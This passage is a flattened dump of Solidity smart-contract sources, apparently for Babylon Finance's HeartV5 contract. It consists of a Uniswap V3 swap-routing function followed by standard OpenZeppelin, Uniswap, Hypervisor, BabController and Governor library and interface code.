== address(FRAX) && _tokenOut != address(DAI)) || (_tokenOut == address(FRAX) && _tokenIn != address(DAI)) ) { _hopToken = address(DAI); } else { if ( (_tokenIn == address(FEI) && _tokenOut != address(USDC)) || (_tokenOut == address(FEI) && _tokenIn != address(USDC)) ) { _hopToken = address(USDC); } } if (_hopToken != address(0)) { uint24 fee0 = _getUniswapPoolFeeWithHighestLiquidity(_tokenIn, _hopToken); uint24 fee1 = _getUniswapPoolFeeWithHighestLiquidity(_tokenOut, _hopToken); // Have to use WETH for BABL because the most liquid pari is WETH/BABL if (_tokenOut == address(BABL) && _hopToken != address(WETH)) { path = abi.encodePacked( _tokenIn, fee0, _hopToken, fee1, address(WETH), _getUniswapPoolFeeWithHighestLiquidity(address(WETH), _tokenOut), _tokenOut ); } else { path = abi.encodePacked(_tokenIn, fee0, _hopToken, fee1, _tokenOut); } } else { uint24 fee = _getUniswapPoolFeeWithHighestLiquidity(_tokenIn, _tokenOut); path = abi.encodePacked(_tokenIn, fee, _tokenOut); } ISwapRouter.ExactInputParams memory params = ISwapRouter.ExactInputParams(path, address(this), block.timestamp, _amount, _minAmountOut); return swapRouter.exactInput(params); } /** * Returns the FEE of the highest liquidity pool in univ3 for this pair * @param sendToken Token that is sold * @param receiveToken Token that is purchased */ function _getUniswapPoolFeeWithHighestLiquidity(address sendToken, address receiveToken) private view returns (uint24) { IUniswapV3Pool poolLow = IUniswapV3Pool(factory.getPool(sendToken, receiveToken, FEE_LOW)); IUniswapV3Pool poolMedium = IUniswapV3Pool(factory.getPool(sendToken, receiveToken, FEE_MEDIUM)); IUniswapV3Pool poolHigh = IUniswapV3Pool(factory.getPool(sendToken, receiveToken, FEE_HIGH)); uint128 liquidityLow = address(poolLow) != address(0) ? poolLow.liquidity() : 0; uint128 liquidityMedium = address(poolMedium) != address(0) ? poolMedium.liquidity() : 0; uint128 liquidityHigh = address(poolHigh) != address(0) ? poolHigh.liquidity() : 0; if (liquidityLow >= liquidityMedium && liquidityLow >= liquidityHigh) { return FEE_LOW; } if (liquidityMedium >= liquidityLow && liquidityMedium >= liquidityHigh) { return FEE_MEDIUM; } return FEE_HIGH; } } contract HeartV5 is Heart { constructor(IBabController _controller, IGovernor _governor) Heart(_controller, _governor) {} } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { revert("ECDSA: invalid signature length"); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return recover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover-bytes32-bytes-} that receives the `v`, * `r` and `s` signature fields separately. */ function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value"); require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value"); // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`] * JSON-RPC method. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title The interface for the Uniswap V3 Factory /// @notice The Uniswap V3 Factory facilitates creation of Uniswap V3 pools and control over the protocol fees interface IUniswapV3Factory { /// @notice Emitted when the owner of the factory is changed /// @param oldOwner The owner before the owner was changed /// @param newOwner The owner after the owner was changed event OwnerChanged(address indexed oldOwner, address indexed newOwner); /// @notice Emitted when a pool is created /// @param token0 The first token of the pool by address sort order /// @param token1 The second token of the pool by address sort order /// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip /// @param tickSpacing The minimum number of ticks between initialized ticks /// @param pool The address of the created pool event PoolCreated( address indexed token0, address indexed token1, uint24 indexed fee, int24 tickSpacing, address pool ); /// @notice Emitted when a new fee amount is enabled for pool creation via the factory /// @param fee The enabled fee, denominated in hundredths of a bip /// @param tickSpacing The minimum number of ticks between initialized ticks for pools created with the given fee event FeeAmountEnabled(uint24 indexed fee, int24 indexed tickSpacing); /// @notice Returns the current owner of the factory /// @dev Can be changed by the current owner via setOwner /// @return The address of the factory owner function owner() external view returns (address); /// @notice Returns the tick spacing for a given fee amount, if enabled, or 0 if not enabled /// @dev A fee amount can never be removed, so this value should be hard coded or cached in the calling context /// @param fee The enabled fee, denominated in hundredths of a bip. Returns 0 in case of unenabled fee /// @return The tick spacing function feeAmountTickSpacing(uint24 fee) external view returns (int24); /// @notice Returns the pool address for a given pair of tokens and a fee, or address 0 if it does not exist /// @dev tokenA and tokenB may be passed in either token0/token1 or token1/token0 order /// @param tokenA The contract address of either token0 or token1 /// @param tokenB The contract address of the other token /// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip /// @return pool The pool address function getPool( address tokenA, address tokenB, uint24 fee ) external view returns (address pool); /// @notice Creates a pool for the given two tokens and fee /// @param tokenA One of the two tokens in the desired pool /// @param tokenB The other of the two tokens in the desired pool /// @param fee The desired fee for the pool /// @dev tokenA and tokenB may be passed in either order: token0/token1 or token1/token0. tickSpacing is retrieved /// from the fee. The call will revert if the pool already exists, the fee is invalid, or the token arguments /// are invalid. /// @return pool The address of the newly created pool function createPool( address tokenA, address tokenB, uint24 fee ) external returns (address pool); /// @notice Updates the owner of the factory /// @dev Must be called by the current owner /// @param _owner The new owner of the factory function setOwner(address _owner) external; /// @notice Enables a fee amount with the given tickSpacing /// @dev Fee amounts may never be removed once enabled /// @param fee The fee amount to enable, denominated in hundredths of a bip (i.e. 1e-6) /// @param tickSpacing The spacing between ticks to be enforced for all pools created with the given fee amount function enableFeeAmount(uint24 fee, int24 tickSpacing) external; } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.7.5; pragma abicoder v2; import '@uniswap/v3-core/contracts/interfaces/callback/IUniswapV3SwapCallback.sol'; /// @title Router token swapping functionality /// @notice Functions for swapping tokens via Uniswap V3 interface ISwapRouter is IUniswapV3SwapCallback { struct ExactInputSingleParams { address tokenIn; address tokenOut; uint24 fee; address recipient; uint256 deadline; uint256 amountIn; uint256 amountOutMinimum; uint160 sqrtPriceLimitX96; } /// @notice Swaps `amountIn` of one token for as much as possible of another token /// @param params The parameters necessary for the swap, encoded as `ExactInputSingleParams` in calldata /// @return amountOut The amount of the received token function exactInputSingle(ExactInputSingleParams calldata params) external payable returns (uint256 amountOut); struct ExactInputParams { bytes path; address recipient; uint256 deadline; uint256 amountIn; uint256 amountOutMinimum; } /// @notice Swaps `amountIn` of one token for as much as possible of another along the specified path /// @param params The parameters necessary for the multi-hop swap, encoded as `ExactInputParams` in calldata /// @return amountOut The amount of the received token function exactInput(ExactInputParams calldata params) external payable returns (uint256 amountOut); struct ExactOutputSingleParams { address tokenIn; address tokenOut; uint24 fee; address recipient; uint256 deadline; uint256 amountOut; uint256 amountInMaximum; uint160 sqrtPriceLimitX96; } /// @notice Swaps as little as possible of one token for `amountOut` of another token /// @param params The parameters necessary for the swap, encoded as `ExactOutputSingleParams` in calldata /// @return amountIn The amount of the input token function exactOutputSingle(ExactOutputSingleParams calldata params) external payable returns (uint256 amountIn); struct ExactOutputParams { bytes path; address recipient; uint256 deadline; uint256 amountOut; uint256 amountInMaximum; } /// @notice Swaps as little as possible of one token for `amountOut` of another along the specified path (reversed) /// @param params The parameters necessary for the multi-hop swap, encoded as `ExactOutputParams` in calldata /// @return amountIn The amount of the input token function exactOutput(ExactOutputParams calldata params) external payable returns (uint256 amountIn); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.6.0; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; library TransferHelper { /// @notice Transfers tokens from the targeted address to the given destination /// @notice Errors with 'STF' if transfer fails /// @param token The contract address of the token to be transferred /// @param from The originating address from which the tokens will be transferred /// @param to The destination address of the transfer /// @param value The amount to be transferred function safeTransferFrom( address token, address from, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.transferFrom.selector, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'STF'); } /// @notice Transfers tokens from msg.sender to a recipient /// @dev Errors with ST if transfer fails /// @param token The contract address of the token which will be transferred /// @param to The recipient of the transfer /// @param value The value of the transfer function safeTransfer( address token, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.transfer.selector, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'ST'); } /// @notice Approves the stipulated contract to spend the given allowance in the given token /// @dev Errors with 'SA' if transfer fails /// @param token The contract address of the token to be approved /// @param to The target of the approval /// @param value The amount of the given token the target will be allowed to spend function safeApprove( address token, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.approve.selector, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'SA'); } /// @notice Transfers ETH to the recipient address /// @dev Fails with `STE` /// @param to The destination of the transfer /// @param value The value to be transferred function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'STE'); } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; import './pool/IUniswapV3PoolImmutables.sol'; import './pool/IUniswapV3PoolState.sol'; import './pool/IUniswapV3PoolDerivedState.sol'; import './pool/IUniswapV3PoolActions.sol'; import './pool/IUniswapV3PoolOwnerActions.sol'; import './pool/IUniswapV3PoolEvents.sol'; /// @title The interface for a Uniswap V3 Pool /// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform /// to the ERC20 specification /// @dev The pool interface is broken up into many smaller pieces interface IUniswapV3Pool is IUniswapV3PoolImmutables, IUniswapV3PoolState, IUniswapV3PoolDerivedState, IUniswapV3PoolActions, IUniswapV3PoolOwnerActions, IUniswapV3PoolEvents { } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; pragma abicoder v2; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; interface IHypervisor { // @param deposit0 Amount of token0 transfered from sender to Hypervisor // @param deposit1 Amount of token0 transfered from sender to Hypervisor // @param to Address to which liquidity tokens are minted // @return shares Quantity of liquidity tokens minted as a result of deposit function deposit( uint256 deposit0, uint256 deposit1, address to ) external returns (uint256); // @param shares Number of liquidity tokens to redeem as pool assets // @param to Address to which redeemed pool assets are sent // @param from Address from which liquidity tokens are sent // @return amount0 Amount of token0 redeemed by the submitted liquidity tokens // @return amount1 Amount of token1 redeemed by the submitted liquidity tokens function withdraw( uint256 shares, address to, address from ) external returns (uint256, uint256); function rebalance( int24 _baseLower, int24 _baseUpper, int24 _limitLower, int24 _limitUpper, address _feeRecipient, int256 swapQuantity ) external; function addBaseLiquidity(uint256 amount0, uint256 amount1) external; function addLimitLiquidity(uint256 amount0, uint256 amount1) external; function pullLiquidity(uint256 shares) external returns ( uint256 base0, uint256 base1, uint256 limit0, uint256 limit1 ); function token0() external view returns (IERC20); function token1() external view returns (IERC20); function pool() external view returns (address); function balanceOf(address) external view returns (uint256); function approve(address, uint256) external returns (bool); function transferFrom( address, address, uint256 ) external returns (bool); function transfer(address, uint256) external returns (bool); function getTotalAmounts() external view returns (uint256 total0, uint256 total1); function pendingFees() external returns (uint256 fees0, uint256 fees1); function totalSupply() external view returns (uint256); function setMaxTotalSupply(uint256 _maxTotalSupply) external; function setDepositMax(uint256 _deposit0Max, uint256 _deposit1Max) external; function appendList(address[] memory listed) external; function toggleWhitelist() external; function transferOwnership(address newOwner) external; } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.6; /** * @title IBabController * @author Babylon Finance * * Interface for interacting with BabController */ interface IBabController { /* ============ Functions ============ */ function createGarden( address _reserveAsset, string memory _name, string memory _symbol, string memory _tokenURI, uint256 _seed, uint256[] calldata _gardenParams, uint256 _initialContribution, bool[] memory _publicGardenStrategistsStewards, uint256[] memory _profitSharing ) external payable returns (address); function removeGarden(address _garden) external; function addReserveAsset(address _reserveAsset) external; function removeReserveAsset(address _reserveAsset) external; function updateProtocolWantedAsset(address _wantedAsset, bool _wanted) external; function updateGardenAffiliateRate(address _garden, uint256 _affiliateRate) external; function addAffiliateReward(address _user, uint256 _reserveAmount) external; function claimRewards() external; function editPriceOracle(address _priceOracle) external; function editMardukGate(address _mardukGate) external; function editGardenValuer(address _gardenValuer) external; function editTreasury(address _newTreasury) external; function editHeart(address _newHeart) external; function editRewardsDistributor(address _rewardsDistributor) external; function editGardenFactory(address _newGardenFactory) external; function editGardenNFT(address _newGardenNFT) external; function editCurveMetaRegistry(address _curveMetaRegistry) external; function editStrategyNFT(address _newStrategyNFT) external; function editStrategyFactory(address _newStrategyFactory) external; function setOperation(uint8 _kind, address _operation) external; function setMasterSwapper(address _newMasterSwapper) external; function addKeeper(address _keeper) external; function addKeepers(address[] memory _keepers) external; function removeKeeper(address _keeper) external; function enableGardenTokensTransfers() external; function editLiquidityReserve(address _reserve, uint256 _minRiskyPairLiquidityEth) external; function gardenCreationIsOpen() external view returns (bool); function owner() external view returns (address); function EMERGENCY_OWNER() external view returns (address); function guardianGlobalPaused() external view returns (bool); function guardianPaused(address _address) external view returns (bool); function setPauseGuardian(address _guardian) external; function setGlobalPause(bool _state) external returns (bool); function setSomePause(address[] memory _address, bool _state) external returns (bool); function isPaused(address _contract) external view returns (bool); function priceOracle() external view returns (address); function gardenValuer() external view returns (address); function heart() external view returns (address); function gardenNFT() external view returns (address); function strategyNFT() external view returns (address); function curveMetaRegistry() external view returns (address); function rewardsDistributor() external view returns (address); function gardenFactory() external view returns (address); function treasury() external view returns (address); function ishtarGate() external view returns (address); function mardukGate() external view returns (address); function strategyFactory() external view returns (address); function masterSwapper() external view returns (address); function gardenTokensTransfersEnabled() external view returns (bool); function bablMiningProgramEnabled() external view returns (bool); function allowPublicGardens() external view returns (bool); function enabledOperations(uint256 _kind) external view returns (address); function getGardens() external view returns (address[] memory); function getReserveAssets() external view returns (address[] memory); function getOperations() external view returns (address[20] memory); function isGarden(address _garden) external view returns (bool); function protocolWantedAssets(address _wantedAsset) external view returns (bool); function gardenAffiliateRates(address _wantedAsset) external view returns (uint256); function affiliateRewards(address _user) external view returns (uint256); function isValidReserveAsset(address _reserveAsset) external view returns (bool); function isValidKeeper(address _keeper) external view returns (bool); function isSystemContract(address _contractAddress) external view returns (bool); function protocolPerformanceFee() external view returns (uint256); function protocolManagementFee() external view returns (uint256); function minLiquidityPerReserve(address _reserve) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (governance/IGovernor.sol) pragma solidity ^0.7.6; pragma abicoder v2; /** * @dev Interface of the {Governor} core. * * _Available since v4.3._ */ abstract contract IGovernor { enum ProposalState {Pending, Active, Canceled, Defeated, Succeeded, Queued, Expired, Executed} /** * @dev Emitted when a proposal is created. */ event ProposalCreated( uint256 proposalId, address proposer, address[] targets, uint256[] values, string[] signatures, bytes[] calldatas, uint256 startBlock, uint256 endBlock, string description ); /** * @dev Emitted when a proposal is canceled. */ event ProposalCanceled(uint256 proposalId); /** * @dev Emitted when a proposal is executed. */ event ProposalExecuted(uint256 proposalId); /** * @dev Emitted when a vote is cast. * * Note: `support` values should be seen as buckets. There interpretation depends on the voting module 